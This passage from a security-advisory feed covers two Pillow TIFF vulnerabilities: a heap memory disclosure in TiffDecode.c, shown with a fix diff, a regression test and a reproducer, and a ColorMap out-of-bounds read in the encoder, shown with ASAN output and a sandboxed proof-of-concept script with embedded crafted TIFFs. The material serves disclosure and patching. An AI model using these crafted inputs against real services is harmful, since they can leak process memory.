codecs\nonly warn (`Improper JPEG strip/tile size`, `Premature EOL`), but so do many legitimate\nfiles (unknown tags, bad tag counts), and the return value of `TIFFReadEncodedStrip()`\ncarries no row count to check against. Initialising the buffer covers every codec.\n`_decodeAsRGBA()` needs no change: `TIFFRGBAImageGet()` fills its whole raster, and JPEG\nfiles do not reach it (`JPEGCOLORMODE_RGB` sends them down the strip path).\n\nValid files decode exactly as before; rows a codec does not produce are now black instead\nof garbage, and nothing that previously loaded now fails. The patch also adds\n`test_jpeg_short_strip` to `Tests/test_file_libtiff.py`, parametrised over strip and tile,\nwhich builds the 256×8-JPEG-in-256×256 file and asserts rows 8–255 are zero. It is a\nregression guard for the fixed code rather than a reliable detector of the bug: in a fresh\npytest process the unfixed strip variant can pass because the new heap chunk happens to be\nzero (the tiled variant fails before the fix). With the patch, `Tests/test_file_libtiff.py`\nand `Tests/test_file_tiff.py` pass and the reproducer prints `OK`.\n\n## The patch\n\nZero the libtiff strip/tile buffer before each TIFFReadEncodedStrip/TIFFReadTile in TiffDecode.c so short strips do not expose uninitialised heap\n\nApplies to `src/libImaging/TiffDecode.c` at the commit above.\n\n```diff\ndiff --git a/Tests/test_file_libtiff.py b/Tests/test_file_libtiff.py\nindex 3d804ea4a..67bc96329 100644\n--- a/Tests/test_file_libtiff.py\n+++ b/Tests/test_file_libtiff.py\n@@ -1162,6 +1162,45 @@ class TestFileLibTiff(LibTiffTestCase):\n             im.load()\n         assert im.size == (950, 975)\n \n+    @pytest.mark.parametrize(\"tiled\", (False, True))\n+    def test_jpeg_short_strip(self, tiled: bool) -\u003e None:\n+        # The JPEG data in the strip/tile only contains 8 of the 256 rows that\n+        # RowsPerStrip/TileLength declare. libtiff decodes the rows that exist\n+        # and still reports success, so the remaining rows must be cleared\n+        # rather than left as uninitialised memory.\n+        jpeg = io.BytesIO()\n+        Image.new(\"L\", (256, 8), 200).save(jpeg, \"JPEG\")\n+        jpeg_data = jpeg.getvalue()\n+\n+        ifd = TiffImagePlugin.ImageFileDirectory_v2()\n+        ifd[256] = 256  # ImageWidth\n+        ifd[257] = 256  # ImageLength\n+        ifd[258] = 8  # BitsPerSample\n+        ifd[259] = 7  # Compression: JPEG\n+        ifd[262] = 1  # PhotometricInterpretation: BlackIsZero\n+        ifd[277] = 1  # SamplesPerPixel\n+        if tiled:\n+            ifd[322] = 256  # TileWidth\n+            ifd[323] = 256  # TileLength\n+            ifd[324] = 0  # TileOffsets\n+            ifd[325] = len(jpeg_data)  # TileByteCounts\n+            # Point the tile data at the end of the IFD\n+            ifd[324] = 8 + len(ifd.tobytes(8))\n+        else:\n+            ifd[278] = 256  # RowsPerStrip\n+            ifd[STRIPOFFSETS] = 0  # Updated by tobytes() to follow the IFD\n+            ifd[279] = len(jpeg_data)  # StripByteCounts\n+\n+        b = io.BytesIO()\n+        ifd.save(b)\n+        b.write(jpeg_data)\n+\n+        with Image.open(b) as im:\n+            assert im.tile[0][0] == \"libtiff\"\n+            im.load()\n+            assert im.crop((0, 0, 256, 8)).getextrema() == (200, 200)\n+            assert im.crop((0, 8, 256, 256)).getextrema() == (0, 0)\n+\n     def test_orientation(self) -\u003e None:\n         with Image.open(\"Tests/images/g4_orientation_1.tif\") as base_im:\n             for i in range(2, 9):\ndiff --git a/src/libImaging/TiffDecode.c b/src/libImaging/TiffDecode.c\nindex 8a57c523d..d1d6bfbbb 100644\n--- a/src/libImaging/TiffDecode.c\n+++ b/src/libImaging/TiffDecode.c\n@@ -457,6 +457,11 @@ _decodeTile(\n         for (plane = 0; plane \u003c planes; plane++) {\n             ImagingShuffler shuffler = unpackers[plane];\n             for (x = state-\u003exoff; x \u003c state-\u003exsize; x += tile_width) {\n+                // Some codecs (e.g. JPEG, Group 4) succeed on a tile that decodes\n+                // to fewer rows than the tile length, leaving the rest of the\n+                // buffer untouched. Clear it so that uninitialised memory is not\n+                // copied into the image.\n+                memset(state-\u003ebuffer, 0, state-\u003ebytes);\n                 if (TIFFReadTile(tiff, (tdata_t)state-\u003ebuffer, x, y, 0, plane) == -1) {\n                     TRACE((\"Decode Error, Tile at %dx%d\\n\", x, y));\n                     state-\u003eerrcode = IMAGING_CODEC_BROKEN;\n@@ -563,6 +568,11 @@ _decodeStrip(\n         int plane;\n         for (plane = 0; plane \u003c planes; plane++) {\n             ImagingShuffler shuffler = unpackers[plane];\n+            // Some codecs (e.g. JPEG, Group 4) succeed on a strip that decodes\n+            // to fewer rows than RowsPerStrip, leaving the rest of the buffer\n+            // untouched. Clear it so that uninitialised memory is not copied\n+            // into the image.\n+            memset(state-\u003ebuffer, 0, state-\u003ebytes);\n             if (TIFFReadEncodedStrip(\n                     tiff,\n                     TIFFComputeStrip(tiff, state-\u003ey, plane),\n```\n\n## The reproducer\n\n\u003cdetails\u003e\n\u003csummary\u003eReproducer — \u003ccode\u003erepro\u003c/code\u003e, 2,688 bytes (click to open)\u003c/summary\u003e\n\nIts last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`.\n\n```python\n#!/usr/bin/env python3\n# Pillow TiffDecode.c _decodeStrip/_decodeTile: strip/tile buffer is realloc()ed, never\n# initialised, and copied whole into the image even when libtiff's JPEG codec decoded\n# fewer rows than RowsPerStrip/TileLength.  Two independent signals:\n#  pass 1 (normal heap): seed freed 64 KiB chunks with b\"LEAK\" just before load() and\n#         count copies of LEAK in the decoded pixels (file contains no such bytes);\n#  pass 2 (same script re-run under glibc MALLOC_PERTURB_=170): fresh malloc memory is\n#         0x55, so rows that come back all-0x55 are provably uninitialised heap.\nimport gc, io, os, struct, subprocess, sys\nfrom PIL import Image\nW = H = 256; ROWS = 8\nperturbed = os.environ.get(\"MALLOC_PERTURB_\") == \"170\"\nif not perturbed:\n    print(\"Pillow\", Image.__version__, Image.core.__file__)\n\ndef tiff(jpeg_rows, tiled):\n    j = io.BytesIO(); Image.new(\"L\", (W, jpeg_rows), 200).save(j, \"JPEG\"); j = j.getvalue()\n    tags = [(256,3,1,W), (257,3,1,H), (258,3,1,8), (259,3,1,7), (262,3,1,1), (277,3,1,1)]\n    tags += ([(322,3,1,W), (323,3,1,H), (324,4,1,0), (325,4,1,len(j))] if tiled else\n             [(273,4,1,0), (278,3,1,H), (279,4,1,len(j))])\n    tags.sort(); off = 8 + 2 + 12*len(tags) + 4\n    tags = [(t,ty,c, off if t in (273,324) else v) for t,ty,c,v in tags]\n    ifd = struct.pack(\"\u003cH\", len(tags)) + b\"\".join(struct.pack(\"\u003cHHLL\", *t) for t in tags)\n    return b\"II*\\0\" + struct.pack(\"\u003cL\", 8) + ifd + struct.pack(\"\u003cL\", 0) + j\n\nbug = False\nfor tiled in (False, True):\n    for jpeg_rows, label in ((H, \"well-formed\"), (ROWS, \"crafted\")):\n        data = tiff(jpeg_rows, tiled); assert b\"LEAK\" not in data\n        im = Image.open(io.BytesIO(data)); assert im.tile[0][0] == \"libtiff\"\n        junk = [bytearray(b\"LEAK\" * (W*H//4)) for _ in range(6)]; del junk; gc.collect()\n        im.load()                                   # no exception for either file\n        below = im.tobytes()[W*ROWS:]\n        n55, nleak = below.count(0x55), below.count(b\"LEAK\")\n        print(f\"[{'perturb' if perturbed else 'normal '}] {'tiled' if tiled else 'strip'} \"\n              f\"{label:11s} ({len(data):4d} B) rows {ROWS}-{H-1}: {nleak:5d} x b'LEAK', \"\n              f\"{n55:5d}/{len(below)} == 0x55, head={below[:8]!r}\")\n        if jpeg_rows == ROWS and (nleak \u003e 0 or (perturbed and n55 == len(below))):\n            bug = True\nif not perturbed:\n    r = subprocess.run([sys.executable, sys.argv[0]], env={**os.environ, \"MALLOC_PERTURB_\": \"170\"},\n                       capture_output=True, text=True)\n    lines = r.stdout.rstrip().split(\"\\n\")\n    print(\"\\n\".join(lines[:-1])); sys.stderr.write(r.stderr)\n    bug = bug or lines[-1] == \"BUG\"\nprint(\"BUG\" if bug else \"OK\")\n```\n\u003c/details\u003e\n\n---","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-10-20T20:52:43.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/python-pillow/Pillow/security/advisories/GHSA-q45j-58j2-45rg","https://nvd.nist.gov/vuln/detail/CVE-2026-112897","https://github.com/python-pillow/Pillow/commit/1d4773e6cea0c4a2814e6d4cdc099bbcf56da6ce","https://github.com/python-pillow/Pillow/releases/tag/13.0.0","https://github.com/advisories/GHSA-q45j-58j2-45rg"],"source_kind":"github","identifiers":["GHSA-q45j-58j2-45rg","CVE-2026-112897"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-20T21:00:07.783Z","updated_at":"2026-12-03T11:01:22.596Z","epss_percentage":0.00479,"epss_percentile":0.42993,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xNDVqLTU4ajItNDVyZ84AB-f0","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1xNDVqLTU4ajItNDVyZ84AB-f0","affected_repository_urls":["https://github.com/python-pillow/pillow"],"packages":[{"ecosystem":"pypi","package_name":"Pillow","versions":[{"first_patched_version":"13.0.0","vulnerable_version_range":"\u003e= 5.3.0, \u003c 13.0.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xNDVqLTU4ajItNDVyZ84AB-f0/related_packages","related_advisories":[{"uuid":"UBUNTU-CVE-2026-112897","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-9064-1"},{"uuid":"USN-9064-1","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-9064-1"},{"uuid":"DEBIAN-CVE-2026-112897","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2026-112897"},{"uuid":"CVE-2026-112897","source_kind":"osv","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/112xxx/CVE-2026-112897.json"}]},{"uuid":"GSA_kwCzR0hTQS1wY2hyLThqMzgtM3g0cM4AB-fz","url":"https://github.com/advisories/GHSA-pchr-8j38-3x4p","title":"Pillow: TIFF encoder ColorMap plane-size mismatch causes a heap out-of-bounds read","description":"## Summary\n\nA small attacker-supplied TIFF can be opened and loaded normally, then reach an out-of-bounds read when an application saves it back to TIFF with retained metadata. The fixed reproducer is a 1×1, 16-bit grayscale, PackBits-compressed TIFF containing tag 320 (ColorMap) with **768 SHORT values**: three zero-filled planes of 256 entries each. No Python object is forged and no metadata is injected after loading.\n\nPillow's TIFF encoder allocates **768 × 2 = 1536 bytes**, then passes three plane pointers separated by 256 SHORT entries to libtiff. With `BitsPerSample = 16`, libtiff instead expects **65536 SHORT values per plane** and attempts a **131072-byte read** from a plane pointer. Existing ASAN observations identify a heap-buffer-overflow READ crossing the 1536-byte allocation made in `PyImaging_LibTiffEncoderNew`.\n\nThe malformed ColorMap need not be a valid palette for this grayscale image. The issue is that accepted metadata is forwarded on save without reconciling the fixed plane extent with the effective sample depth. Opening/loading alone is not the demonstrated fault; the encoder path is required.\n\n## Impact and prerequisites\n\nAn application must accept the input, retain the relevant TIFF metadata, and invoke the libtiff-backed TIFF save path. The observed consequence is an out-of-bounds read and ASAN termination. Process-memory exposure during encoding is a potential consequence, **not demonstrated by extracting arbitrary heap contents in this report**. No arbitrary read primitive, full memory-disclosure chain, code execution, address-space bypass, or cross-process effect is claimed.\n\nThe 131072-byte attempted copy is not the number of bytes proven disclosed. This report does not run a synthetic-canary serializer or collect an unsanitized encoded output.\n\n## Tested environment and limits of the evidence\n\nThe existing observations were recorded on August 30, 2026, with **CPython 3.11.8 on macOS ARM64**, using the unmodified official **Pillow 12.3.0** wheel and its bundled **libtiff 4.7.1**:\n\n- Wheel: `pillow-12.3.0-cp311-cp311-macosx_11_0_arm64.whl`\n- Wheel size: `4785266` bytes\n- Wheel SHA-256: `37d6d0a00072fd2948eb22bce7e1475f34569d90c87c59f7a2ec59541b77f7a6`\n- Pillow source revision: `bb1d8e8ab8d29048624d96e3ee53cecf7c13d13d`\n- Bundled libtiff SHA-256: `e8988717b7470394a47d5ccd343130796b24ee70b6d885d3818e0e0b53238be1`\n\nApple's ASAN runtime was injected at process startup. This is **not an ASAN-rebuilt Pillow wheel**; allocation/memcpy interception detects the reported boundary violation, but the wheel's native instructions are not comprehensively instrumented.\n\nOnly this concrete full-package environment is established here. No affected-version range, current development-branch result, or patched release is asserted. Severity is **Unknown**; no CVSS score is proposed.\n\nSeparate earlier evidence reached the original Pillow 8.0.1 encoder constructor compiled as a component against a modern Python/libtiff environment. **That was not a complete Pillow 8.0.1 installation** and does not establish the historical package's full runtime behavior. It is not part of this reproducer or an affected-version range.\n\n## Observed evidence and controls\n\nThe earlier integration harness performed the natural sequence `Image.open(BytesIO(input))`, `image.load()`, then `image.save(BytesIO(), format=\"TIFF\")`, without replacing the image's metadata. Each case was recorded three times:\n\n| Original fixture | Bytes | Recorded result |\n| --- | ---: | --- |\n| `colormap16` | 1685 | Loaded as `I;16`; save terminated with ASAN exit 86, READ of size 131072 crossing a 1536-byte heap region (3/3). |\n| `colormap8` | 1684 | Same fixed ColorMap, but 8-bit samples; save succeeded and retained SHORT/count 768 (3/3). |\n| `colormap_absent` | 137 | Same 16-bit geometry without ColorMap; save succeeded (3/3). |\n\nAddress-free summary of the recorded native diagnostic:\n\n```text\nAddressSanitizer: heap-buffer-overflow\nREAD of size 131072\n0 bytes after 1536-byte region\nCopy path: memcpy -\u003e _TIFFmemcpy -\u003e setByteArray -\u003e _TIFFsetShortArrayExt\n           -\u003e _TIFFVSetField -\u003e TIFFVSetField -\u003e ImagingLibTiffSetField\n           -\u003e PyImaging_LibTiffEncoderNew\nAllocation: calloc -\u003e PyImaging_LibTiffEncoderNew\n```\n\nInput SHA-256 values (also enforced inside the script):\n\n- `colormap16`: `5f38e0ead90b97949fb0c98c63f9c68d00ba9181db6631ecb8927376dcc75f4d`\n- `colormap8`: `fdb26d9135549ed44824901985086c5ee4f06515699ca3291e498c523935405c`\n- `colormap_absent`: `bd54979624f3ffb713342e0458caff9e17c477f940cda2f0960feebfabbc9556`\n\n## Root cause and source references\n\n- [Pillow `src/encode.c`, lines 870–899, pinned revision](https://github.com/python-pillow/Pillow/blob/bb1d8e8ab8d29048624d96e3ee53cecf7c13d13d/src/encode.c#L870): the ColorMap tuple must contain exactly 768 entries; a 1536-byte allocation is passed with a fixed stride of 256. The check does not reconcile that extent with `BitsPerSample`.\n- [Pillow `src/PIL/TiffImagePlugin.py`, lines 1944–1991, pinned revision](https://github.com/python-pillow/Pillow/blob/bb1d8e8ab8d29048624d96e3ee53cecf7c13d13d/src/PIL/TiffImagePlugin.py#L1944): save carries supplied tags into the libtiff encoder and sorts the tags, so sample depth is established before ColorMap.\n- [libtiff `tif_dir.c`, lines 441–448, pinned revision](https://gitlab.com/libtiff/libtiff/-/blob/5fe20d0e9aba49a6a350ed533459d1505203838f/libtiff/tif_dir.c#L441): `TIFFTAG_COLORMAP` computes the per-plane count as `1L \u003c\u003c td-\u003etd_bitspersample` and copies that many SHORTs from each pointer.\n\nThe reported boundary is Pillow's construction of a fixed-sized array for a native API whose required size depends on metadata; this does not establish a standalone libtiff defect for a correctly sized caller buffer.\n\n## Prior art and disclosure scope\n\n[Pillow PR #5148](https://github.com/python-pillow/Pillow/pull/5148), merged December 28, 2020, is related TIFF metadata prior art, but its archived diff replaces a short-lived stack field-name pointer with the persistent literal `\"CustomField\"`. That is a **different field-name-lifetime fix**, not this plane-size mismatch. The reviewed material does not establish an exact prior public report or fix for this root, and **novelty is not asserted**. This specific report remains NOT_SENT; association with other observations is not a prior disclosure of it.\n\n## Reproduction instructions\n\nUse an **already reviewed, existing** installation of the exact wheel above, an existing compatible macOS ARM64 CPython 3.11 interpreter, and an existing compatible Apple ASAN runtime. `--package-path` is the absolute directory containing `PIL`, not the `PIL` directory itself. The script does not install, download, build, patch, or submit anything. It checks selected key package files against the original installation's hashes and checks the loaded package/version; these checks are not a full installation attestation.\n\nSave the complete Python block below as `reproduce.py` and run:\n\n```sh\npython3.11 -I -S -B reproduce.py \\\n  --package-path /absolute/path/to/reviewed/site-packages \\\n  --asan-runtime /absolute/path/to/reviewed/libclang_rt.asan_osx_dynamic.dylib\n```\n\nBoth arguments are required. The runtime must be loaded at child startup, not by late `dlopen`. Each child resolves `__asan_init`, `__asan_address_is_poisoned`, and `__asan_region_is_poisoned` in its actual process symbol table **before importing Pillow or opening a fixture**. Merely setting `DYLD_INSERT_LIBRARIES` is not accepted as proof of ASAN availability. A missing symbol or package mismatch prevents the operation.\n\nEach of the three cases runs once in a separate child with a **30-second wall limit, 10-second hard CPU limit, core dumps disabled, and 1 MiB regular-file-size limit**. The parent supplies a clean allowlisted environment, isolated Python startup (`-I -S -B`), an empty temporary working directory, no stdin, and a 128 KiB combined pipe-output cap. Timeout/output-cap handling kills the child's process group. These limits are containment measures, not a security sandbox. No TIFF is written to disk. Temporary directories are removed; raw diagnostics are never forwarded or persisted.\n\nThe compressed/base64 constants below are the **unchanged original benign TIFF fixtures**, with decompressed size and SHA-256 checks. There are no external fixture dependencies. The standalone script supplied with this description is byte-for-byte the same as this block.\n\n**Separate August 31, 2026 inline validation:** the exact embedded standalone script passed all three fixed cases: one ASan READ of 131,072 bytes crossing a 1,536-byte allocation and two passing controls. Child guards and limits passed, with no timeout. This is additional bounded evidence, separate from earlier runs; no new build, install, full historical chain or older-version integration replay was performed.\n\n## Expected results from the standalone script\n\nCases run in order: `colormap8`, `colormap_absent`, `colormap16`. Every printed line should have `guard_passed: true`, `within_limits: true`, and `expected_observation: true`. The first two require successful saves and the expected retained sample-depth/ColorMap fields. The last requires ASAN exit 86 **and** the specific READ/extent/stack signatures, not merely any crash. Only the two controls inspect encoded metadata; the unsafe case never exports an encoded TIFF.\n\nThe parent exits 0 only if all three expectations match; 1 means a case did not match (including guard failure or a changed ASAN diagnostic), and 2 means parent setup failed. A failed guard, timeout, unrelated crash, or missing diagnostic is **inconclusive**, not evidence that the defect is absent. Do not bypass the ASAN guard to obtain an output TIFF.\n\n## Complete standalone reproducer\n\n```python\nimport argparse\nimport base64\nimport ctypes\nimport hashlib\nimport io\nimport json\nimport os\nfrom pathlib import Path\nimport platform\nimport resource\nimport selectors\nimport struct\nimport subprocess\nimport sys\nimport tempfile\nimport time\nimport zlib\n\n\nFIXTURES = {'colormap8': [1684,\n               'fdb26d9135549ed44824901985086c5ee4f06515699ca3291e498c523935405c',\n               'eNrz9NRi4GBgYOBmYGBkYWAEssAYic3EyAymQaqYoWzWBgYGNigbhAWh6iexMTCIIomLIZkjDmUzAbEMkhoHIJsBiCYxjIJRMApGwSgY2QAAPu0DiA=='],\n 'colormap_absent': [137,\n                     'bd54979624f3ffb713342e0458caff9e17c477f940cda2f0960feebfabbc9556',\n                     'eNrz9NRi4GBgYOBiYGBkYWAEssAYic3EyAymBYCYGcpmbWBgYIOyQVgQqr4NiEWRxMWQzBGHspmBWAZJDQOEBgDj8wKm'],\n 'colormap16': [1685,\n                '5f38e0ead90b97949fb0c98c63f9c68d00ba9181db6631ecb8927376dcc75f4d',\n                'eNrz9NRi4GBgYOBmYGBkYWAEssAYic3EyAymBYCYGcpmbWBgYIOyQVgQqn4SGwODKJK4GJI54lA2MxDLIKlxALJBgpMYRsEoGAWjYBSMZACsEwB78wOS']}\nPACKAGE_PINS = {'PIL/ImageFile.py': '983c4f35e0c51046d4c636998ec77000cd2da208870a03b205e104cd0b2df629',\n 'PIL/_version.py': 'fe7d75d4019326aca24ae57d4ab190cd62ba1225b175051119cd61cd87e42b1d',\n 'PIL/__init__.py': '7361b6ad3878589affe5956e4a4da24d71398b0891fd3a8c15e9362217b4ca01',\n 'PIL/features.py': '14f904863b416914aaa6480735876ec31885b7272ee0d8d92b010c5b1b5e98f5',\n 'PIL/TiffTags.py': '766dea350424b9a2caab3513be794689403c2b7222cd038006f69cff08edb45d',\n 'PIL/TiffImagePlugin.py': '440b2a3a80b280d18cda3fc70d9fd206e2fa44e9897c9550f70b51395047b273',\n 'PIL/_imaging.cpython-311-darwin.so': '6d09b1fb925779fff32b5b8a4c348a42c201d350d0e0fd8cdc00410b6779e596',\n 'PIL/Image.py': '04af3f2db7ffdd61e829fa7aa8f5481d394a0a4129a8fd8aa5b13908928fcd6d',\n 'PIL/.dylibs/libtiff.6.dylib': 'e8988717b7470394a47d5ccd343130796b24ee70b6d885d3818e0e0b53238be1',\n 'pillow-12.3.0.dist-info/WHEEL': 'de2586b77651a8bf1b7778c3609979713ebc901784a837fca80ed4969fc82e57',\n 'pillow-12.3.0.dist-info/METADATA': '8fc07146cab33ef7582361dab6eac596d340b03ec648f18217da7894f73838c8'}\nCASES = tuple(FIXTURES)\nWALL_SECONDS = 30\nFILE_LIMIT = 1024 * 1024\nPIPE_LIMIT = 128 * 1024\n\n\ndef limits():\n    resource.setrlimit(resource.RLIMIT_CORE, (0, 0))\n    resource.setrlimit(resource.RLIMIT_CPU, (10, 10))\n    resource.setrlimit(resource.RLIMIT_FSIZE, (FILE_LIMIT, FILE_LIMIT))\n\n\ndef fixture(case):\n    size, expected_hash, encoded = FIXTURES[case]\n    decoder = zlib.decompressobj()\n    data = decoder.decompress(base64.b64decode(encoded, validate=True), size + 1)\n    if (len(data) != size or not decoder.eof or decoder.unused_data\n            or decoder.unconsumed_tail\n            or hashlib.sha256(data).hexdigest() != expected_hash):\n        raise ValueError(\"fixture integrity check failed\")\n    return data\n\n\ndef field(data, wanted):\n    if len(data) \u003c 8 or data[:4] not in (b\"II*\\0\", b\"MM\\0*\"):\n        raise ValueError(\"not classic TIFF\")\n    endian = \"\u003c\" if data[:2] == b\"II\" else \"\u003e\"\n    directory = struct.unpack_from(endian + \"I\", data, 4)[0]\n    count = struct.unpack_from(endian + \"H\", data, directory)[0]\n    if directory + 2 + count * 12 + 4 \u003e len(data):\n        raise ValueError(\"truncated directory\")\n    for number in range(count):\n        offset = directory + 2 + number * 12\n        tag, kind, length = struct.unpack_from(endian + \"HHI\", data, offset)\n        if tag != wanted:\n            continue\n        size = {1: 1, 2: 1, 3: 2, 4: 4, 7: 1}[kind] * length\n        start = offset + 8 if size \u003c= 4 else struct.unpack_from(endian + \"I\", data, offset + 8)[0]\n        if start + size \u003e len(data):\n            raise ValueError(\"truncated field\")\n        return kind, length, data[start:start + size], endian\n    return None\n\n\ndef checked_image_module(package):\n    if (sys.implementation.name != \"cpython\" or sys.version_info[:2] != (3, 11)\n            or sys.platform != \"darwin\" or platform.machine() != \"arm64\"):\n        raise RuntimeError(\"requires macOS ARM64 CPython 3.11\")\n    for relative, expected in PACKAGE_PINS.items():\n        path = (package / relative).resolve(strict=True)\n        if not path.is_relative_to(package) or hashlib.sha256(path.read_bytes()).hexdigest() != expected:\n            raise RuntimeError(\"reviewed wheel file mismatch\")\n    process_symbols = ctypes.CDLL(None)\n    for symbol in (\"__asan_init\", \"__asan_address_is_poisoned\", \"__asan_region_is_poisoned\"):\n        getattr(process_symbols, symbol)\n    sys.path.insert(0, str(package))\n    from PIL import Image, features\n    if (Image.__version__ != \"12.3.0\" or features.version(\"libtiff\") != \"4.7.1\"\n            or Path(Image.__file__).resolve() != package / \"PIL/Image.py\"\n            or Path(Image.core.__file__).resolve() != package / \"PIL/_imaging.cpython-311-darwin.so\"):\n        raise RuntimeError(\"unexpected Pillow or libtiff\")\n    return Image\n\n\ndef emit(descriptor, message):\n    os.write(descriptor, (json.dumps(message, sort_keys=True) + \"\\n\").encode(\"ascii\"))\n\n\ndef child(case, package):\n    descriptor = os.dup(1)\n    with open(os.devnull, \"wb\") as quiet:\n        os.dup2(quiet.fileno(), 1)\n    try:\n        image_module = checked_image_module(package)\n        data = fixture(case)\n        with image_module.open(io.BytesIO(data)) as image:\n            image.load()\n            if image.size != (1, 1) or image.info.get(\"compression\") != \"packbits\":\n                raise ValueError(\"unexpected input geometry\")\n            bits = 8 if case == \"colormap8\" else 16\n            if image.tag_v2[258] != (bits,):\n                raise ValueError(\"unexpected sample width\")\n            if case == \"colormap_absent\":\n                if 320 in image.tag_v2:\n                    raise ValueError(\"unexpected ColorMap\")\n            elif image.tag_v2[320] != (0,) * 768:\n                raise ValueError(\"unexpected ColorMap planes\")\n            emit(descriptor, {\"ready\": True})\n            with io.BytesIO() as output:\n                image.save(output, format=\"TIFF\")\n                if case == \"colormap16\":\n                    emit(descriptor, {\"unsafe_save_returned\": True})\n                    return 1\n                encoded = output.getvalue()\n                saved_bits = field(encoded, 258)\n                map_field = field(encoded, 320)\n                bits_preserved = (saved_bits is not None and saved_bits[:2] == (3, 1)\n                                  and struct.unpack(saved_bits[3] + \"H\", saved_bits[2])[0] == bits)\n                map_preserved = (map_field is None if case == \"colormap_absent\"\n                                 else map_field is not None and map_field[:2] == (3, 768)\n                                 and map_field[2] == bytes(1536))\n                emit(descriptor, {\"control_passed\": bool(bits_preserved and map_preserved)})\n        return 0\n    except Exception:\n        emit(descriptor, {\"child_failed\": True})\n        return 2\n    finally:\n        os.close(descriptor)\n\n\ndef run_case(case, package, runtime):\n    with tempfile.TemporaryDirectory(prefix=\"pillow-check-\") as temporary:\n        environment = {\n            \"PATH\": \"/usr/bin:/bin:/usr/sbin:/sbin\",\n            \"HOME\": temporary,\n            \"TMPDIR\": temporary,\n            \"LC_ALL\": \"C\",\n            \"DYLD_INSERT_LIBRARIES\": str(runtime),\n            \"ASAN_OPTIONS\": \"detect_leaks=0:halt_on_error=1:abort_on_error=0:exitcode=86:\"\n                            \"disable_coredump=1:symbolize=1:malloc_fill_byte=165:\"\n                            \"max_malloc_fill_size=1048576:log_path=stderr\",\n        }\n        command = [sys.executable, \"-I\", \"-S\", \"-B\", str(Path(__file__).resolve()),\n                   \"--package-path\", str(package), \"--asan-runtime\", str(runtime), \"--child\", case]\n        output = bytearray()\n        diagnostics = bytearray()\n        deadline = time.monotonic() + WALL_SECONDS\n        with subprocess.Popen(command, cwd=temporary, env=environment, stdin=subprocess.DEVNULL,\n                              stdout=subprocess.PIPE, stderr=subprocess.PIPE,\n                              preexec_fn=limits, start_new_session=True) as process:\n            bounded = True\n            try:\n                with selectors.DefaultSelector() as selector:\n                    selector.register(process.stdout, selectors.EVENT_READ, output)\n                    selector.register(process.stderr, selectors.EVENT_READ, diagnostics)\n                    while selector.get_map():\n                        remaining = deadline - time.monotonic()\n                        if remaining \u003c= 0:\n                            raise TimeoutError\n                        for key, events in selector.select(min(remaining, 0.25)):\n                            chunk = os.read(key.fileobj.fileno(), 8192)\n                            if not chunk:\n                                selector.unregister(key.fileobj)\n                            else:\n                                key.data.extend(chunk)\n                                if len(output) + len(diagnostics) \u003e PIPE_LIMIT:\n                                    raise BufferError\n                    process.wait(timeout=max(0.001, deadline - time.monotonic()))\n            except (TimeoutError, BufferError, subprocess.TimeoutExpired):\n                bounded = False\n                try:\n                    os.killpg(process.pid, 9)\n                except ProcessLookupError:\n                    pass\n                process.wait()\n            status = process.returncode\n        try:\n            messages = [json.loads(line) for line in output.splitlines()]\n        except (ValueError, UnicodeError):\n            messages = []\n        ready = bool(messages and messages[0] == {\"ready\": True})\n        if case == \"colormap16\":\n            observed = bool(bounded and ready and status == 86 and len(messages) == 1\n                            and b\"AddressSanitizer: heap-buffer-overflow\" in diagnostics\n                            and b\"READ of size 131072\" in diagnostics\n                            and b\"0 bytes after 1536-byte region\" in diagnostics\n                            and b\"PyImaging_LibTiffEncoderNew\" in diagnostics\n                            and b\"_TIFFmemcpy\" in diagnostics)\n        else:\n            observed = bool(bounded and ready and status == 0\n                            and messages == [{\"ready\": True}, {\"control_passed\": True}]\n                            and b\"AddressSanitizer:\" not in diagnostics)\n        output.clear()\n        diagnostics.clear()\n        return {\"case\": case, \"expected_observation\": observed, \"guard_passed\": ready,\n                \"within_limits\": bounded}\n\n\ndef main():\n    parser = argparse.ArgumentParser(description='Fixed ColorMap extent mismatch: controls first, ASAN-only trigger.')\n    parser.add_argument(\"--package-path\", required=True, type=Path,\n                        help=\"reviewed existing installation root containing PIL\")\n    parser.add_argument(\"--asan-runtime\", required=True, type=Path,\n                        help=\"reviewed existing compatible ASAN dylib; never loaded late\")\n    parser.add_argument(\"--child\", choices=CASES, help=argparse.SUPPRESS)\n    arguments = parser.parse_args()\n    if arguments.child:\n        limits()\n        return child(arguments.child, arguments.package_path.resolve())\n    try:\n        package = arguments.package_path.resolve(strict=True)\n        runtime = arguments.asan_runtime.resolve(strict=True)\n        if not package.is_dir() or not runtime.is_file():\n            raise ValueError(\"invalid existing paths\")\n        for case in CASES:\n            fixture(case)\n        results = [run_case(case, package, runtime) for case in CASES]\n    except Exception:\n        print(json.dumps({\"setup_failed\": True}))\n        return 2\n    for result in results:\n        print(json.dumps(result, sort_keys=True))\n    return 0 if all(result[\"expected_observation\"] for result in results) else 1\n\n\nif __name__ == \"__main__\":\n    raise 